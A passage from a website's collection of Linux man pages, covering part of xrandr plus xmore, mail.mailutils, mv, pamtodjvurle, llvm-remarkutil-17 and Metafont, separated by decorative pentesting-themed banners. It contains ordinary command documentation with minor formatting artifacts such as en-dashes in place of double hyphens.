Chooses the scaling filter method to be applied when the screen is scaled or transformed. Can be either ‘bilinear’ or ’nearest’.

–scale x[xy]
Changes the dimensions of the output picture. If the y value is omitted, the x value will be used for both dimensions. Values larger than 1 lead to a compressed screen (screen dimension bigger than the dimension of the output mode), and values less than 1 lead to a zoom in on the output. This option is actually a shortcut version of the –transform option.

–scale-from wxh
Specifies the size in pixels of the area of the framebuffer to be displayed on this output. This option is actually a shortcut version of the –transform option.

–primary
Set the output as primary. It will be sorted first in Xinerama and RANDR geometry requests.

RandR version 1.2 options

These options are only available for X server supporting RandR version 1.2 or newer.

–prop, –properties
This option causes xrandr to display the contents of properties for each output. –verbose also enables –prop.

–fb widthxheight
Reconfigures the screen to the specified size. All configured monitors must fit within this size. When this option is not provided, xrandr computes the smallest screen size that will hold the set of configured outputs; this option provides a way to override that behaviour.

–fbmm widthxheight
Sets the value reported as physical size of the X screen as a whole (union of all configured monitors). In configurations with multiple monitors with different DPIs, the value has no physical meaning, but it may be used by some legacy clients which do not support RandR version 1.2 to compute a reference font scaling. Normally, xrandr resets the reported physical size values to keep the DPI constant. This overrides that computation. Default DPI value is 96.

–dpi dpi

–dpi from-output
This also sets the value reported as physical size of the X screen as a whole (union of all configured monitors). In configurations with multiple monitors with different DPIs, the value has no physical meaning, but it may be used by some legacy clients which do not support RandR version 1.2 to compute a reference font scaling. This option uses either the specified DPI value, or the DPI of the given output, to compute an appropriate physical size using whatever pixel size will be set. Typical values are the default (96 DPI), the DPI of the only monitor in single-monitor configurations, or the DPI of the primary monitor in multi-monitor configurations.

–newmode name mode
New modelines can be added to the server and then associated with outputs. This option does the former. The mode is specified using the ModeLine syntax for xorg.conf: clock hdisp hsyncstart hsyncend htotal vdisp vsyncstart vsyncend vtotal flags. flags can be zero or more of +HSync, -HSync, +VSync, -VSync, Interlace, DoubleScan, CSync, +CSync, -CSync. Several tools permit to compute the usual modeline from a height, width, and refresh rate, for instance you can use cvt.

–rmmode name
This removes a mode from the server if it is otherwise unused.

–addmode output name
Add a mode to the set of valid modes for an output.

–delmode output name
Remove a mode from the set of valid modes for an output.

Per-output options

–output output
Selects an output to reconfigure. Use either the name of the output or the XID.

–auto
For connected but disabled outputs, this will enable them using their first preferred mode (or, something close to 96dpi if they have no preferred mode). For disconnected but enabled outputs, this will disable them.

–mode mode
This selects a mode. Use either the name or the XID for mode

–preferred
This selects the same mode as –auto, but it doesn’t automatically enable or disable the output.

–pos xxy
Position the output within the screen using pixel coordinates. In case reflection or rotation is applied, the translation is applied after the effects.

–rate rate
This marks a preference for refresh rates close to the specified value, when multiple modes have the same name, this will select the one with the nearest refresh rate.

–reflect reflection
Reflection can be one of ’normal’ ‘x’, ‘y’ or ‘xy’. This causes the output contents to be reflected across the specified axes.

–rotate rotation
Rotation can be one of ’normal’, ’left’, ‘right’ or ‘inverted’. This causes the output contents to be rotated in the specified direction. ‘right’ specifies a clockwise rotation of the picture and ’left’ specifies a counter-clockwise rotation.

–left-of, –right-of, –above, –below, –same-as another-output
Use one of these options to position the output relative to the position of another output. This allows convenient tiling of outputs within the screen. The position is always computed relative to the new position of the other output, so it is not valid to say –output a –left-of b –output b –left-of a.

–set property value
Sets an output property. Integer properties may be specified as a valid (see –prop) comma-separated list of decimal or hexadecimal (with a leading 0x) values. Atom properties may be set to any of the valid atoms (see –prop). String properties may be set to any value.

–off
Disables the output.

–crtc crtc
Uses the specified crtc (either as an index in the list of CRTCs or XID). In normal usage, this option is not required as xrandr tries to make sensible choices about which crtc to use with each output. When that fails for some reason, this option can override the normal selection.

–gamma red[:green:blue]
Set the specified floating point values as gamma correction on the crtc currently attached to this output. If green and blue are not specified, the red value will be used for all three components. Note that you cannot get two different values for cloned outputs (i.e.: which share the same crtc) and that switching an output to another crtc doesn’t change the crtc gamma corrections at all.

–brightness brightness
Multiply the gamma values on the crtc currently attached to the output to specified floating value. Useful for overly bright or overly dim outputs. However, this is a software only modification, if your hardware has support to actually change the brightness, you will probably prefer to use xbacklight.

RandR version 1.1 options

These options are available for X servers supporting RandR version 1.1 or older. They are still valid for newer X servers, but they don’t interact sensibly with version 1.2 options on the same command line.

-s, –size size-index or –size widthxheight
This sets the screen size, either matching by size or using the index into the list of available sizes.

-r, –rate, –refresh rate
This sets the refresh rate closest to the specified value.

-o, –orientation rotation
This specifies the orientation of the screen, and can be one of normal, inverted, left or right.

-x
Reflect across the X axis.

-y
Reflect across the Y axis.

EXAMPLES

Sets an output called LVDS to its preferred mode, and on its right put an output called VGA to preferred mode of a screen which has been physically rotated clockwise:

xrandr –output LVDS –auto –rotate normal –pos 0x0 –output VGA –auto –rotate left –right-of LVDS

Forces to use a 1024x768 mode on an output called VGA:

xrandr –newmode “1024x768” 63.50 1024 1072 1176 1328 768 771 775 798 -hsync +vsync
xrandr –addmode VGA 1024x768
xrandr –output VGA –mode 1024x768

Enables panning on a 1600x768 desktop while displaying 1024x768 mode on an output called VGA:

xrandr –fb 1600x768 –output VGA –mode 1024x768 –panning 1600x0

Have one small 1280x800 LVDS screen showing a small version of a huge 3200x2000 desktop, and have a big VGA screen display the surrounding of the mouse at normal size.

xrandr –fb 3200x2000 –output LVDS –scale 2.5x2.5 –output VGA –pos 0x0 –panning 3200x2000+0+0/3200x2000+0+0/64/64/64/64

Displays the VGA output in trapezoid shape so that it is keystone corrected when the projector is slightly above the screen:

xrandr –fb 1024x768 –output VGA –transform 1.24,0.16,-124,0,1.24,0,0,0.000316,1

SEE ALSO

Xrandr(3), cvt(1), xkeystone(1), xbacklight(1)

AUTHORS

Keith Packard, Open Source Technology Center, Intel Corporation. and Jim Gettys, Cambridge Research Laboratory, HP Labs, HP.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1590 - Linux cli command xmore

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xmore and provides detailed information about the command xmore, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xmore.

NAME 🖥️ xmore 🖥️

plain text display program for the X Window System

SYNOPSIS

xmore

[filename]

DESCRIPTION

xmore is a plain text browser.

SEE ALSO

X11(7), xman(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1591 - Linux cli command mail.mailutils

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mail.mailutils and provides detailed information about the command mail.mailutils, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mail.mailutils.

NAME 🖥️ mail.mailutils 🖥️

process mail messages

SYNOPSIS

mail.mailutils [OPTION…] [address…]
mail.mailutils [OPTION…] [OPTION…] [file]
mail.mailutils [OPTION…] –file [OPTION…] [file]
mail.mailutils [OPTION…] –file=file [OPTION…]

DESCRIPTION

GNU mail process mail messages. If -f or –file is given, mail operates on the mailbox named by the first argument, or the user’s mbox, if no argument given.

-A, –attach=FILE
attach FILE

-a, –append=HEADER: VALUE append given header to the message being sent

–[no-]alternative
force multipart/alternative content type

–attach-fd=FD
attach from file descriptor FD

–content-filename=NAME
set the Content-Disposition filename parameter for the next –attach option

–content-name=NAME
set the Content-Type name parameter for the next –attach option

–content-type=TYPE
set content type for subsequent –attach options

-E, –exec=COMMAND
execute COMMAND

-e, –exist
return true if mail exists

–encoding=NAME
set encoding for subsequent –attach options

-F, –byname
save messages according to sender

-H, –headers
write a header summary and exit

-i, –ignore
ignore interrupts

-M, –[no-]mime
compose MIME messages

-N, –nosum
do not display initial header summary

-n, –norc
do not read the system mailrc file

-p, –print, –read
print all mail to standard output

-q, –quit
cause interrupts to terminate program

-r, –return-address=ADDRESS
use address as the return address when sending mail

-s, –subject=SUBJ
send a message with the given SUBJECT

–[no-]skip-empty-attachments
skip attachments with empty body

-t, –to
read recipients from the message header

-u, –user=USER
operate on USER’s mailbox

Global debugging settings

–debug-level=LEVEL
set Mailutils debugging level

–[no-]debug-line-info show source info with debugging messages

Configuration handling

–config-file=FILE
load this configuration file; implies –no-config

–config-lint
check configuration file syntax and exit

–config-verbose
verbosely log parsing of the configuration files

–no-config
do not load site and user configuration files

–no-site-config
do not load site-wide configuration file

–no-user-config
do not load user configuration file

–set=PARAM=VALUE
set configuration parameter

Informational options

–config-help
show configuration file summary

–show-config-options
show compilation options

-?, –help
give this help list

–usage
give a short usage message

-V, –version
print program version

Mandatory or optional arguments to long options are also mandatory or optional for any corresponding short options.

REPORTING BUGS

Report bugs to <[email protected]>.
GNU Mailutils home page: <http://mailutils.org>
General help using GNU software: <http://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2007-2024 Free Software Foundation, inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The complete GNU mailutils documentation is maintained as a Texinfo manual. If the mailutils-doc package is installed, the command

info mailutils

should give you access to the complete manual.
You can also find this manual online in the GNU mailutils webpage:
https://www.gnu.org/software/mailutils/manual/index.html.
Please note this manpage was automatically generated by the Debian mailutils packagers. Do not file bugs for its content to the GNU Mailutils upstream authors.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1592 - Linux cli command mv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mv and provides detailed information about the command mv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mv.

NAME 🖥️ mv 🖥️

move (rename) files

SYNOPSIS

mv [OPTION]… [-T] SOURCE DEST
mv [OPTION]… SOURCEDIRECTORY
mv [OPTION]… -t DIRECTORY SOURCE

DESCRIPTION

Rename SOURCE to DEST, or move SOURCE(s) to DIRECTORY.

Mandatory arguments to long options are mandatory for short options too.

–backup[=CONTROL]
make a backup of each existing destination file

-b
like –backup but does not accept an argument

–debug
explain how a file is copied. Implies -v

-f, –force
do not prompt before overwriting

-i, –interactive
prompt before overwrite

-n, –no-clobber
do not overwrite an existing file

If you specify more than one of -i, -f, -n, only the final one takes effect.

–no-copy
do not copy if renaming fails

–strip-trailing-slashes
remove any trailing slashes from each SOURCE argument

-S, –suffix=SUFFIX
override the usual backup suffix

-t, –target-directory=DIRECTORY
move all SOURCE arguments into DIRECTORY

-T, –no-target-directory
treat DEST as a normal file

–update[=UPDATE]
control which existing files are updated; UPDATE={all,none,older(default)}. See below

-u
equivalent to –update[=older]

-v, –verbose
explain what is being done

-Z, –context
set SELinux security context of destination file to default type

–help
display this help and exit

–version
output version information and exit

UPDATE controls which existing files in the destination are replaced. ‘all’ is the default operation when an –update option is not specified, and results in all existing files in the destination being replaced. ’none’ is similar to the –no-clobber option, in that no files in the destination are replaced, but also skipped files do not induce a failure. ‘older’ is the default operation when –update is specified, and results in files being replaced if they’re older than the corresponding source file.

The backup suffix is ‘~’, unless set with –suffix or SIMPLE_BACKUP_SUFFIX. The version control method may be selected via the –backup option or through the VERSION_CONTROL environment variable. Here are the values:

none, off
never make backups (even if –backup is given)

numbered, t
make numbered backups

existing, nil
numbered if numbered backups exist, simple otherwise

simple, never
always make simple backups

AUTHOR

Written by Mike Parker, David MacKenzie, and Jim Meyering.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

rename(2)

Full documentation <https://www.gnu.org/software/coreutils/mv>
or available locally via: info ‘(coreutils) mv invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1593 - Linux cli command pamtodjvurle

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtodjvurle and provides detailed information about the command pamtodjvurle, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtodjvurle.

.

NAME 🖥️ pamtodjvurle 🖥️

convert a Netpbm image to DjVu Color RLE format

SYNOPSIS

pamtodjvurle

[-transparent color] [netpbmfile [rlefile]]

Minimum unique abbreviation of options in acceptable.

DESCRIPTION

This program is part of Netpbm(1) .

pamtodjvurle reads a Netpbm image (PNM or PAM equivalent of PNM) as input and produces DjVu Color RLE format as output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtodjvurle recognizes the following command line option:

-transparent colorname
This option indicates which color in the image should be considered transparent.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

Default is “white”.

SEE ALSO

pbmtodjvurle(1) pam(1)

HISTORY

pamtodjvurle was new in Netpbm 10.22 (April 2004) but a program that did almost the same thing, called ppmtodjvurle, was in Netpbm 10.21 (March 2004). The latter was written and contributed to Netpbm by Scott Pakin <[email protected]>. pamtodjvurle uses techniques taken from ppmtodjvurle, but no code is copied between them.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtodjvurle.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1594 - Linux cli command llvm-remarkutil-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-remarkutil-17 and provides detailed information about the command llvm-remarkutil-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-remarkutil-17.

NAME 🖥️ llvm-remarkutil-17 🖥️

remarkutil - Remark utility

SYNOPSIS

llvm-remarkutil [subcommmand] [options]

DESCRIPTION

Utility for displaying information from, and converting between different remark formats.

SUBCOMMANDS

  • bitstream2yaml - Reserialize bitstream remarks to YAML.

  • yaml2bitstream - Reserialize YAML remarks to bitstream.

  • instruction-count - Output function instruction counts.

  • annotation-count - Output remark type count from annotation remarks.

bitstream2yaml

USAGE: llvm-remarkutil bitstream2yaml <input file> -o <output file>

Summary

Takes a bitstream remark file as input, and reserializes that file as YAML.

yaml2bitstream

USAGE: llvm-remarkutil yaml2bitstream <input file> -o <output file>

Summary

Takes a YAML remark file as input, and reserializes that file in the bitstream format.

instruction-count

USAGE: llvm-remarkutil instruction-count <input file> –parser=<bitstream|yaml> [–use-debug-loc] -o <output file>

Summary

Outputs instruction count remarks for every function. Instruction count remarks encode the number of instructions in a function at assembly printing time.

Instruction count remarks require asm-printer remarks.

CSV format is as follows:

::
Function,InstructionCount foo,123

if –use-debug-loc is passed then the CSV will include the source path, line number and column.

::
Source,Function,InstructionCount path:line:column,foo,3

annotation-count

USAGE: llvm-remarkutil annotation-count <input file> –parser=<bitstream|yaml> –annotation-type=<type> [–use-debug-loc] -o <output file>

Summary

Outputs a count for annotation-type <type> remark for every function. The count expresses the number of remark checks inserted at the function.

Annotation count remarks require AnnotationRemarksPass remarks.

CSV format is as follows:

::
Function,Count foo,123

if –use-debug-loc is passed then the CSV will include the source path, line number and column.

::
Source,Function,Count path:line:column,foo,3

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1595 - Linux cli command mf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mf and provides detailed information about the command mf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mf.

NAME 🖥️ mf 🖥️

nowin - Metafont, a language for font and logo design

SYNOPSIS

mf [options] [commands]

DESCRIPTION

Metafont reads the program in the specified files and outputs font rasters (in gf format) and font metrics (in tfm format). The Metafont language is described in The Metafont book.

Like TeX, Metafont is normally used with a large body of precompiled macros, and font generation in particular requires the support of several macro files. This version of Metafont looks at its command line to see what name it was called under. Both inimf and virmf are symlinks to the mf executable. When called as inimf (or when the -ini option is given) it can be used to precompile macros into a .base file. When called as virmf it will use the plain base. When called under any other name, Metafont will use that name as the name of the base to use. For example, when called as mf the mf base is used, which is identical to the plain base. Other bases than plain are rarely used.

The commands given on the command line to the Metafont program are passed to it as the first input line. (But it is often easier to type extended arguments as the first input line, since UNIX shells tend to gobble up or misinterpret Metafont’s favorite symbols, like semicolons, unless you quote them.) As described in The Metafont book, that first line should begin with a filename, a *controlsequence*, or a &basename.

The normal usage is to say

mf ‘\mode=<printengine> ;  [ mag=magstep(* n* ) ; ]’ input   font

to start processing font.mf. The single quotes are the best way of keeping the Unix shell from misinterpreting the semicolons and from removing the \ character, which is needed here to keep Metafont from thinking that you want to produce a font called mode. (Or you can just say mf and give the other stuff on the next line, without quotes.) Other control sequences, such as batchmode (for silent operation) can also appear. The name font will be the ``jobname’’, and is used in forming output file names. If Metafont doesn’t get a file name in the first line, the jobname is mfput. The default extension, .mf, can be overridden by specifying an extension explicitly.

A log of error messages goes into the file jobname** . log. The output files are jobname . tfm and jobname . **< number >gf, where <number> depends on the resolution and magnification of the font. The mode in this example is shown generically as <printengine>, a symbolic term for which the name of an actual device or, most commonly, the name localfont (see below) must be substituted. If the mode is not specified or is not valid for your site, Metafont will default to proof mode which produces large character images for use in font design and refinement. Proof mode can be recognized by the suffix .2602gf after the jobname. Examples of proof mode output can be found in Computer Modern Typefaces (Volume E of Computers and Typesetting). The system of magsteps is identical to the system used by TeX, with values generally in the range 0.5, 1.0, 2.0, 3.0, 4.0 and 5.0. A listing of gf numbers for 118-dpi, 240-dpi and 300-dpi fonts is shown below.

MAGSTEP118 dpi240 dpi300 dpi
mag=magstep(0)118240300
mag=magstep(0.5)129263329
mag=magstep(1)142288360
mag=magstep(2)170346432
mag=magstep(3)204415518
mag=magstep(4)245498622
mag=magstep(5)294597746

Magnification can also be specified not as a magstep but as an arbitrary value, such as 1.315, to create special character sizes.

Before font production can begin, it is necessary to set up the appropriate base files. The minimum set of components for font production for a given print-engine is the plain.mf macro file and the local mode_def file. The macros in plain.mf can be studied in an appendix to the Metafont book; they were developed by Donald E. Knuth, and this file should never be altered except when it is officially upgraded. Each mode_def specification helps adapt fonts to a particular print-engine. There is a regular discussion of mode_defs in TUGboat, the journal of the TeX Users Group. The local ones in use on this computer should be in modes.mf.

The e response to Metafont ’s error-recovery mode invokes the system default editor at the erroneous line of the source file. There is an environment variable, MFEDIT, that overrides the default editor. It should contain a string with “%s” indicating where the filename goes and “%d” indicating where the decimal linenumber (if any) goes. For example, an MFEDIT string for the vi editor can be set with the csh command

setenv MFEDIT “vi +%d %s”

A convenient file in the library is null.mf, containing nothing. When mf can’t find the file it thinks you want to input, it keeps asking you for another file name; responding `null’ gets you out of the loop if you don’t want to input anything.

ONLINE GRAPHICS OUTPUT

Metafont can use most modern displays, so you can see its output without printing. Chapter 23 of The Metafont book describes what you can do. This implementation of Metafont uses environment variables to determine which display device you want to use. First it looks for a variable MFTERM, and then for TERM. If it can’t find either, you get no online output. Otherwise, the value of the variable determines the device to use: hp2627, sun (for old SunView), tek, uniterm (for an Atari ST Tek 4014 emulator), xterm (for either X10 or X11). Some of these devices may not be supported in all Metafont executables; the choice is made at compilation time.

On some systems, there are two Metafont binaries, mf and mf-nowin. On those systems the mf binary supports graphics, while the mf-nowin binary does not. The mf-nowin binary is used by scripts like mktexpk where graphics support is a nuisance rather than something helpful.

OPTIONS

This version of Metafont understands the following command line options.

-base* base*
Use base as the name of the base to be used, instead of the name by which Metafont was called or a %& line.

-cnf-line* string*
Parse string as a texmf.cnf configuration line. See the Kpathsea manual.

-file-line-error
Print error messages in the form file:line:error which is similar to the way many compilers format them.

-no-file-line-error
Disable printing error messages in the file:line:error style.

-file-line-error-style
This is the old name of the -file-line-error option.

-halt-on-error
Exit with an error code when an error is encountered during processing.

-help
Print help message and exit.

-ini
Be inimf, for dumping bases; this is implicitly true if the program is called as inimf.

-interaction* mode*
Sets the interaction mode. The mode can be one of batchmode, nonstopmode, scrollmode, and errorstopmode. The meaning of these modes is the same as that of the corresponding commands.

-jobname* name*
Use name for the job name, instead of deriving it from the name of the input file.

-kpathsea-debug* bitmask*
Sets path searching debugging flags according to the bitmask. See the Kpathsea manual for details.

-maketex* fmt*
Enable mktexfmt, where fmt must be mf.

-no-maketex* fmt*
Disable mktexfmt, where fmt must be mf.

-output-directory* directory*
Write output files in directory instead of the current directory. Look up input files in directory first, then along the normal search path.

-parse-first-line
If the first line of the main input file begins with %& parse it to look for a dump name or a -translate-file option.

-no-parse-first-line
Disable parsing of the first line of the main input file.

-progname* name*
Pretend to be program name. This affects both the format used and the search paths.

-recorder
Enable the filename recorder. This leaves a trace of the files opened for input and output in a file with extension .fls.

-translate-file* tcxname*
Use the tcxname translation table.

-version
Print version information and exit.

ENVIRONMENT

See the Kpathsearch library documentation (the `Path specifications’ node) for the details of how the environment variables are use when searching. The kpsewhich utility can be used to query the values of the variables.

If the environment variable TEXMFOUTPUT is set, Metafont attempts to put its output files in it, if they cannot be put in the current directory. Again, see tex(1).

MFINPUTS
Search path for input files.

MFEDIT
Command template for switching to editor.

MFTERM
Determines the online graphics display. If MFTERM is not set, and DISPLAY is set, the Metafont window support for X is used. (DISPLAY must be set to a valid X server specification, as usual.) If neither MFTERM nor DISPLAY is set, TERM is used to guess the window support to use.

FONT UTILITIES

A number of utility programs are available. The following is a partial list of available utilities and their purpose. Consult your local Metafont guru for details.

gftopk
Takes a gf file and produces a more tightly packed pk font file.

gftodvi
Produces proof sheets for fonts.

gftype
Displays the contents of a gf file in mnemonics and/or images.

pktype
Mnemonically displays the contents of a pk file.

mft
Formats a source file as shown in Computer Modern Typefaces.

FILES

mf.pool
Encoded text of Metafont’s messages.

*.base
Predigested Metafont base files.

$TEXMFMAIN/metafont/base/plain.mf
The standard base.

$TEXMFMAIN/metafont/misc/modes.mf
The file of mode_defs for your site’s various printers

NOTES

This manual page is not meant to be exhaustive. The complete documentation for this version of Metafont can be found in the info manual Web2C: A TeX implementation.

BUGS

On January 4, 1986 the ``final’’ bug in Metafont was discovered and removed. If an error still lurks in the code, Donald E. Knuth promises to pay a finder’s fee which doubles every year to the first person who finds it. Happy hunting.

SUGGESTED READING

Donald E. Knuth, The Metafont book (Volume C of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13445-4.
Donald E. Knuth, Metafont:  The Program (Volume D of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13438-1.
Donald E. Knuth, Computer Modern Typefaces (Volume E of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13446-2.
TUGboat (the journal of the TeX Users Group).

COMMENTS

Warning: ``Type design can be hazardous to your other interests. Once you get hooked, you will develop intense feelings about letterforms; the medium will intrude on the messages that you read. And you will perpetually be thinking of improvements to the fonts that you see everywhere, especially those of your own design.’'

SEE ALSO

gftopk(1), gftodvi(1), gftype(1), mft(1), mpost(1), pltotf(1), tftopl(1).

AUTHORS

Metafont was designed by Donald E. Knuth, who implemented it using his Web system for Pascal programs. It was originally ported to Unix by Paul Richards at the University of Illinois at Urbana-Champaign. This page was mostly written by Pierre MacKay.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
